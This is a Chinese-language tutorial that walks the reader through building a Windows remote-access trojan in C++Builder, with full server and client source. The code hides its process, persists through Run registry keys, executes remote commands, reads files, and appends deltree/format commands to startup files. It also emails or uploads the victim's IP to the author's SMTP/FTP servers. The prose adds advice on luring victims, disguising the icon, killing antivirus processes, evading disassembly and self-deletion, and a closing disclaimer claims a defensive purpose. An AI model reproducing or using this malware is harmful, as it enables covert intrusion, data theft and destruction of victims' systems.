首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这裡
我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突
出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错
,但缺陷是不能继承已有的资源(如「死牛崇拜」黑客小组公布的BO2000源代码,是V
C编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动
态链接库——Msvbvm60.dll吗?
启动C++Builder
5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server
Socket,另兩个是Fastnet页中的NMFTP和NMSMTP。Server
Socket的功能是用來使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大
门)。Socket最初是在Unix上出现的,后來微软将它引入了Windows中(包括Win98和W
inNt);后兩个控件的作用是用來使程序具有FTP(File Transfer
Protocol文件传输协议)和SMTP(Simple Mail Transfer
Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发
邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有3
00K之大),而且使软件可見,根本没什么作用。因此实际写木马时可以用一些技巧使
程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加
可使木马在Win9x的「关闭程序」对话框中隐藏的代码。这看起來很神秘,其实說穿了
不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以說是非常
靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程數据库中
用RegisterServiceProcess()函數注册成服务进程(Service Process)就可以了。不过该函數的声明在Borland预先打包的头文件中没有,那么我
们只好自己來声明这个位于KERNEL32.DLL中的鸟函數了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
//定义RegisterServiceProcess()函數的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
//加载RegisterServiceProcess()函數所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess =
(LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess")
;
//得到RegisterServiceProcess()函數的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
//执行RegisterServiceProcess()函數,隐藏本进程
FreeLibrary(hDLL);
//卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?
因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以
上代码(不过你可以使用其他的方法,这个留到后面再讲)。
接著再将自己拷贝一份到%System%目錄下,例如:C:/Windows/System,并修改注册表
,以便启动时自动加载:
{
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
//TempPath是system目錄缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的Syst
em目錄路径
SystemPath=AnsiString(TempPath);
//格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(),
AnsiString(SystemPath+"//Tapi32.exe").c_str() ,FALSE);
//将自己拷贝到%System%目錄下,并改名为Tapi32.exe,伪装起來
Registry=new TRegistry;
//定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software//Microsoft//Windows//
CurrentVersion//Run",TRUE);
//打开键值Software//Microsoft//Windows//CurrentVersion//Run,如果不存在,就
创建之
try
{
//如果以下语句发生異常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"//Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"//Tapi32.exe");
//查找是否有「crossbow」字样的键值,并且是否为拷贝的目錄%System%+Tapi32.exe
//如果不是,就写入以上键值和内容
}
catch(...)
{
//如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在
「关闭程序」对话框中看不見本进程了,木马的雏形初现。
接著选中ServerSocket控件,在左边的Object
Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作狀
态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不
要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,
而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它
故意使用特定端口,因为如果引起冲突,Windows也不会报错
^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制
端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代
码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
//定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s",
AnsiString(SystemPath+AnsiString("//Win369.BAT")).c_str());
//在%System%下建立一个文本文件Win369.bat,作为臨时文件使用
AnsiString temp=Socket->ReceiveText();
//接收客户端(攻击者,也就是你自己)传來的數据
}
好,大门敞开了!接著就是修改目标机的各种配置了!^_^
首先我们來修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
//如果接受到的字符串的前9个字符是「edit conf」
{
int number=temp.Length();
//得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
//将第11个字符转换成integer型,存入file_name变量
//为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'/n').c_str();
//余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c://autoexec.bat",S_IREAD|S_IWRITE);
chmod("c://config.sys",S_IREAD|S_IWRITE);
//将兩个目标文件的属性改为可讀可写
if(file_name==1)
sprintf(filename,"%s","c://autoexec.bat");
//如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c://config.sys");
//如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
//定义计數器
while(fp==NULL)
{
//如果指针是空
fp=fopen(filename,"a+");
//如果文件不存在,创建之;如果存在,准备在其后添加
//如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
//计數器加1
if(times_of_try>100)
{
//如果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
//就发回「Fail By Open File」的错误信息
goto END;
//跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
//写入添加的语句,例如deltree/y C:或者format/q/autotest
C:,够毒吧?!
fclose(fp);
//写完后关闭目标文件
Socket->SendText("Sucess");
//然后发回「Success」的成功信息
}
}
你现在可以通过网络來察看目标机上的这兩个文件了,并且还可以向裡面随意添
加任何命令。呵呵,这只不过是牛刀小试罢了。
的启动配置文件,这回我们就來查看目标机上的目錄树和文件吧,这在客户端上使用
「dir」命令,跟著敲啰:
{
else if(temp.SubString(0,3)=="dir")
{
//如果前3个字符是「dir」
int Read_Num;
char * CR_LF="/n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
//得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
//从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目錄名
if(Dir_Name=="")
{
//如果目錄名为空
Socket->SendText("Fail By Open DIR's Name");
//返回「Fail By Open DIR's Name」信息
goto END;
//跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
//如果打开目錄出错
Socket->SendText("Fail by your DIR's name!");
//返回「Fail By Your DIR's Name」信息
goto END;
//跳到END
}
times_of_try=0;
while(fp==NULL)
{
//如果指针是NULL
fp=fopen(TempFile,"w+");
//就创建system/Win369.bat准备讀和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
//计數器加1
if(times_of_try>100)
{
//如果已经试了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
//就发回「Fail By Open File」的错误信息
goto END;
//并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
//如果访问目标目錄成功
if(*(AnsiString(dirname)).AnsiLastChar()!='//')
//如果最后一个字符不是「/」,证明不是根目錄
filename=(AnsiString(dirname)+"//"+ent->d_name).c_str();
//加上「/」字符后将指针指向目錄流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
//如果是根目錄,则不用加「/」
attrib=_rtl_chmod(filename, 0);
//得到目标文件的访问属性
if (attrib & FA_RDONLY)
//「&」字符是比较前后兩个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
//将目标文件属性设为只讀
else
fwrite(" ",sizeof(char),3,fp);
//失败则写入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
//将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
//失败则写入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
//将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
//失败则写入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
//将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
//失败则写入空格
if (attrib & FA_DIREC)
fwrite("
",sizeof(char),9,fp);
//将目标文件属性设为目錄
else
fwrite(" ",sizeof(char),9,fp);
//失败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
//将目錄名写入目标文件
fwrite(CR_LF,1,1,fp);
//写入换行
}
fclose(fp);
//关闭文件
closedir(dir);
//关闭目錄
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
//打开Win369.bat准备讀
times_of_try=times_of_try+1;
//计數器加1
if(times_of_try>100)
{
//如果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
//就发回「Fail By Open File」的错误信息
goto END;
//并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='/0';
//定义的一个空數组
Read_Num=fread(temp_content,1,300,fp1);
//从目标文件中讀入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
//Return_Text变量加上刚才的300个字符
for(int i=0;i<300;i++) temp_content[i]='/0';
Read_Num=fread(temp_content,1,300,fp1);
//重复
};
Return_Text=Return_Text+temp_content;
//Return_Text变量加上刚才的300个字符
fclose(fp1);
//关闭目标文件
Socket->SendText(Return_Text);
//返回Return_Text变量的内容
}
}
够长吧?!察看目錄树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe
好好美化美化。接下來就是查看指定文件的内容了,Client将使用「type」命令,(
手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
//如果前4个字符是「type」
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
//将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
//打开目标文件准备讀
times_of_try=times_of_try+1;
//计數器加1
if(times_of_try>100)
{
//如果已试了100次了
Socket->SendText("Fail By Open File");
//返回「Fail By Open File」的错误信息
goto END;
//跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='/0';
//定义一个空數组
Read_Num=fread(temp_content,1,300,fp);
//从目标文件中讀入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
//Return_Text的内容加上刚才的字符
for(int i=0;i<300;i++) temp_content[i]='/0';
Read_Num=fread(temp_content,1,300,fp);
//重复
};
Return_Text=Return_Text+temp_content;
//Return_Text的内容加上刚才的字符
fclose(fp);
//关闭目标文件
Socket->SendText(Return_Text);
//返回Return_Text的内容,即你查看文件的内容
}
}
操纵目标机的光驱(注意:mciSendString()
函數的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
//如果收到的temp的内容是「open」
mciSendString("set cdaudio door open", NULL, 0, NULL);
//就弹出光驱的托盘
}
else if(temp=="close")
{
//如果收到的temp的内容是「close」
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
//就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接著就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
//交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这裡要区分WinNt和Win9x——NT非常注重系统每
个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本
程序足够的权限:
{
else if(temp=="reboot")
{
//如果收到的temp的内容是「temp」
DWORD dwVersion = GetVersion();
//得到操作系统的版本号
if (dwVersion < 0x80000000)
{
//操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
//定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY, &hToken);
//OpenProcessToken()这个函數的作用是打开一个进程的访问令牌
//GetCurrentProcess()函數的作用是得到本进程的句柄
LookupPrivilegeValue(NULL,
SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
//LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
//赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp,
0,(PTOKEN_PRIVILEGES)NULL, 0);
//AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
//强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
//强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传來的命令:
{
else
{
//如果都不是
char * CR_TF="/n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
//创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
//计數器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File");
//返回「Fail By Open File」的信息
goto END;
//跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
//写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
//写入换行符
fclose(fp);
//关闭Win369.bat
system(TempFile);
//执行Win369.bat
Socket->SendText("Success");
//返回「Success」信息
}
}
你可以直接执行什么Ping和Tracert之類的命令來进一步刺探目标机的网络狀况(
判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程
序因意外而崩溃。
其代码如下:
{
END:;
Socket-〉Close();
//关闭服务
ServerSocket1-〉Active =true;
//再次打开服务
if (NMSMTP1-〉Connected) NMSMTP1-〉Disconnect();
//如果SMTP服务器已連接则断开
NMSMTP1-〉Host = "smtp.163.net";
//选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-〉UserID = "";
//你SMTP的ID
try
{
NMSMTP1-〉Connect();
//再次連接
}
catch(...)
{
goto NextTime;
//跳到NextTime
}
NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";
//受害者的Email地址
NMSMTP1-〉PostMessage-〉FromName = "Casualty";
//受害者的名字
NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "[email protected]";
//将信发到我的邮箱,这一步很关键
NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString("Server Running on:")
+ NMSMTP1-〉LocalIP ;
//信的内容提示你「服务器正在运行」,并且告诉你受害者的目前的IP地址,以便
連接
NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
//信的主题
NMSMTP1-〉SendMail();
//发送!
return;
//返回
NextTime:
NMFTP1-〉Host = "ftp.go.163.com";
//你的FTP服务器的地址
NMFTP1-〉UserID = "";
//你的用户ID
NMFTP1-〉Port = 21;
//FTP端口号,一般为21
NMFTP1-〉Password = "";
//你的FTP的密码
if(NMFTP1-〉Connected) NMFTP1-〉Disconnect();
//如果已連接就断开
try
{
NMFTP1-〉Connect();
//再連接
}
catch(...)
{
return;
//返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1-〉RemoteIP;
//受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1-〉RemoteIP.c_str(),"w+");
//创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload
);
//写入以上的SendToSite的内容
fclose(Upload);
//写完后关闭此文件
NMFTP1-〉RemoveDir("public_html");
//删除public_html目錄
NMFTP1-〉Upload(NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP);
//上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中
添加以下头文件:
#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sys/stat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉
至此,服务器端(Server)程序已全部完工!以上代码只是完成了整个木马程序的一半。下面我们就将乘胜追击——搞定客户端程序(Client)!
客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和Serve
rSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4
,最后添加一个Button,Caption为「发送」。Edit1是输入命令用的,Edit2是准备输
入目标机的IP地址用的,Edit3是输入連接端口号用的,Edit4是用來输入欲添加的语
句或显示命令执行的结果的。(头是不是有点大了?!)
双击Button1,在Button1Click事件中添加如下代码:
{
if((Edit2-〉Text=="")||(Edit3-〉Text==""))return;
//如果输入IP地址框或输入端口号框有一个为空,就什么也不作
ClientSocket1-〉Address=Edit2-〉Text;
//目标IP地址
ClientSocket1-〉Port=atoi(Edit2-〉Text.c_str());
//目标端口号,本例中的44444
ClientSocket1-〉Open();
//連接!
}
选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加
如下代码:
{
if((Edit1-〉Text=="edit conf 1")||(Edit1-〉Text=="edit conf 2"))
//如果是要编辑autoexec.bat或config.sys
Socket-〉SendText(Edit1-〉Text+Edit4-〉Text);
//发送命令和欲添加的语句
else
Socket-〉SendText(Edit1-〉Text);
//否则只发送命令
}
双击OnRead事件,在ClientSocket1Read下添加如下代码:
{
AnsiString ReadIn = Socket-〉ReceiveText();
//讀入收到的返回信息
Edit4-〉Text="";
//清空编辑框
FILE *fp;
fp = fopen("ReadIn.tmp","w");
//建立一个臨时文件ReadIn.tmp
fwrite(ReadIn.c_str(),1,10000,fp);
//写入信息
fclose(fp);
//关闭之
Edit4-〉Lines-〉LoadFromFile("ReadIn.tmp");
//在编辑框中显示返回的信息
}
为了敲完命令后直接回車就可以发送,我们可以使Button1的代码共享。双击Edit
1的OnKeyPress命令,输入:
{
if(Key==VK_RETURN)Button1Click(Sender);
//如果敲的是回車键,就和点击Button1一样的效果
}
最后再添加以下头文件:
#include "stdlib.h"
#include "winbase.h"
#include "fcntl.h"
#include "stdio.h"
终于写完了!!!按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑
人的图标(我选的是一个目錄模样的图标)进行编译,这样不但受害者容易中招,而
且便于隐藏自己。
接下來就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP
后,就启动Client程序,敲入「edit conf
1」就编辑Autoexec.bat文件,敲入「edit conf
2」就编辑Config.sys文件,敲入「dir
xxx」(xxx是目錄名)就可以看到目錄和文件,敲「type
xxx」就可以察看任何文件,输入「open」,弹出目标机的光驱托盘,「close」就收
入托盘,输入「swap」就可以交换受害者的鼠标左右键,输入「reboot」就启动目标
机……不用我多說了吧?
以上只是一个简单的例子,真正写起木马來要解决的技术问题比这多得多,这得
需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑:
首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用A
spack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由
自己调用底层的API函數,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语
言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是
越小越好。
还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值
,如:
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/
RunServices
HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Run
都已被其他的木马用爛了。现在又开始对exe、dll和txt文件的关聯程序动手脚了(如
冰河和广外女生)。这裡涉及到參數传递的问题。得到ParamStr()函數传來的參數
,启动自己后再启动与之关聯的程序,并将參數传递给它,这样就完成了一次「双启
动」,而受害者丝毫感觉不到有任何異常。具体键值如:
与exe文件建立关聯:HKEY_CLASSES_ROOT/exefile/shell/open/command
与txt文件建立关聯:HKEY_CLASSES_ROOT/txtfile/shell/open/command
与dll文件建立关聯:HKEY_CLASSES_ROOT/dllfile/shell/open/command
等,当然还可以自己扩充。目前还有一种新方法:在
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion
/Windows
下添加如下键值
"AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块
(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系
统进程中。因为没有它自己的PID(Process ID
进程識别号),所以在NT的任务管理器中也看不見(不过在「系统信息」——「软件
环境」——「已加载的32位模块」中还是可以详细看到当前内存中加载的每一个模块
的),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。
木马的功能还可以大大扩充。你可以充分发挥你的想像力——比如上传、下载、
新建、改名、移动文件,截图存为jpg文件传回,錄音监听成Wav文件,錄像成AVI文件
,弹光驱,讀软驱,关机,重启,不停地挂起,胡亂切换分辨率(烧掉你的显示器)
,发对话框,不停地打开资源管理器直到死机,殺掉Kernel32.dll进程使机器暴死,
交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处亂窜,记錄击键
记錄(记錄上网口令,这需要深入了解钩子(Hook)技术,如键盘钩子和鼠标钩子)
,窃取重要的密码文件如pwl和sam文件,格式化磁盘,亂写磁盘扇区(像病毒大爆发
),破坏零磁道,亂写BIOS(像CIH),胡亂设置CMOS,加密MBR、HDPT和FAT(像江民
炸弹)……真是琳琅满目、心狠手辣呀!而且实现起來并不是很复杂,只不过后面几
项需要比较扎实的汇编功底而已(有几项要用到Vxd技术)。唉!路漫漫其修远兮,吾
将上下而求索……
如果你想更安全地执行你的入侵活动,就应该像广外女生一样可以殺掉防火墙和
殺毒软件的进程。防火墙和殺毒软件监视的是特征码,如果你是新木马,它就不吱一
声;但是如果你打开不寻常的端口,它就会跳出來报警。因此最好的办法是启动后立
即分析当前进程,查找有没有常見防火墙和殺毒软件的进程,如果有就殺无赦。比如
常見的如:Lockdown,天网防火墙,网络卫兵,kv3000,瑞星,金山毒霸,Pc-Cillin
,Panda,Mcafee,Norton和CheckPoint。殺掉后,再在特定的内存地址中作一个标记
,使它们误以为自己已启动,因此不会再次启动自己了。
针对來自反汇编工具的威胁。如果有人试图将你的木马程序反汇编,他成功后,
你的一切秘密就暴露在他的面前了,因此,我们要想办法保护自己的作品。首先想到
的是条件跳转,条件跳转对于反向工程來說并不有趣。没有循环,只是跳转,作为使
偷窃者令人头痛的路障。这样,就没有简单的反向操作可以执行了。陷阱,另一个我
不太肯定,但听說有程序使用的方法:用CRC校验你的EXE文件,如果它被改变了,不
要显示典型错误信息,而给予偷窃者致命的一击。
最后如果你需要它完成任务后可以自己删除自己,我提示你:退出前建立一个批
处理文件,加入循环删除本exe文件和本批处理文件自己的命令后保存,执行它,再放
心地退出。你可以试一下,所有文件都消失了吧?!这叫「踏雪无痕」。
入侵安装了防火墙的机器最好使用自己编写的木马,这样不光防火墙不会报警,
而且你自己心裡也坦然一些——毕竟是自己的作品吗!如果你是系统管理员,那就请
你不要偷懶,不仅要经常扫瞄1024以下的端口,而且包括1024以上的高端端口也要仔
细扫瞄,65535个端口一个也不能漏。因为许多木马打开的就是高端端口(如本例中的
4444)。
写在最后:上面例子的用意并不是教你去如何攻击他人,目的只是让你了解木马
的工作原理和简单的编写步骤,以便更好地防范和殺除木马,维护我们自己应有的网
络安全。因此,请列位看官好自为之,不要亂下殺手啊!
如何撰写木马程序
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